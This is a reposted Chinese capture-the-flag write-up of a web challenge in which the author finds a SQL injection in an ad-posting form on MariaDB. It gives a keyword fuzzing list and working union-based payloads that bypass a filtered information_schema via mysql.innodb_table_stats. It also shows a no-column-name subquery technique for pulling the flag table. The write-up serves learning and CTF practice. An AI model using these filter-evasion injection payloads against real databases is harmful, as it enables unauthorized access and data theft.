ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

WEB—无列名注入与过滤information_schema

2021-11-09 15:31:11  阅读:259  来源: 互联网

标签:information group 21 22 WEB union concat select schema


一开始由于注册admin的时候,告知用户已被注册,以为需要爆破admin密码,失败后尝试万能密码,发现也不行。。。注册新用户后又对广告的xss研究半天,虽然怀疑过SQL,后来没想到真的是SQL注入

知识点

  • 无列名注入

  • 过滤information_schema

随便注册一个账户登录,进去后可以发布广告【千万不要写入一个xss,弹来弹去,盲猜你们会尝试】

发布一个广告名为:1',内容随意 

点击广告详情,弹出关键报错信息,数据库为MariaDB

继续注入,发布一个广告名为: 1' and 1=1

提示含有敏感信息,fuzz测试一下

`
~
!
@
#
$
%
^
&
*
(
)
-
_
=
+
[
]
{
}
|
\
;
:
'
"
,
.
<
>
/
?
 
--
--+
/**/
&&
||
<>
!(<>)
and
or
xor
if
not
select
sleep
union
from
where
order
by
concat
group
benchmark
length
in
is
as
like
rlike
limit
offset
distinct
perpare
declare
database
schema
information
table
column
mid
left
right
substr
handler
ascii
set
char
hex
updatexml
extractvalue
regexp
floor
having
between
into
join
file
outfile
load_file
create
drop
convert
cast
show
user
pg_sleep
reverse
execute
open
read
first
case
end
then
iconv
greatest 

这里fuzz测试由于广告数有上限,所以得分批排查,or、order by、information_schema、空格等都被过滤 

无列名注入:

由于information_schema被过滤,但是在Maria数据库下的这个表可以查表名:mysql.innodb_table_stats

构造查询回显字段位的payload(空格用/**/代替):

1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22' 

查询数据库

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22' 

查询表

1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22' 

那么现在已经查询到了两个表,如何查询里面的内容呢?

举个例子

首先创建一个名为buuctf的表,再创一个web的表

插入几条数据

mysql> insert into web values(1,'hello','python'),(2,'hello','java'),(3,'hello','ruby');

一、正常的查询如下:

二、那么如果再加一个union呢?这里看到我们的列名被1,2,3代替了。这也就是说,我们可以使用数字来代替列,如3代替了address 

三、利用数字3代替未知的列名,注意这里需要在3前后加上反引号,而末尾的a为必须添加的别名(写啥都行,只是别名) 

四、当 ` 不能使用时,用别名来代替

构造查询表字段的payload:

1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

如果说第二个字段为flag,admin和sganyu的话,那么第三个字段即为内容了,如下图

select group_concat(b) from (select 1,2 as b,3 union select * from web)a; 

select group_concat(b) from (select 1,2,3 as b union select * from web)a; 

构造查询flag的payload:

1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,/**/3/**/as/**/b/**/union/**/select/**/*/**/from/**/web1.users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22' 

 

标签:information,group,21,22,WEB,union,concat,select,schema
来源: https://blog.csdn.net/qq_58784379/article/details/121228828

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有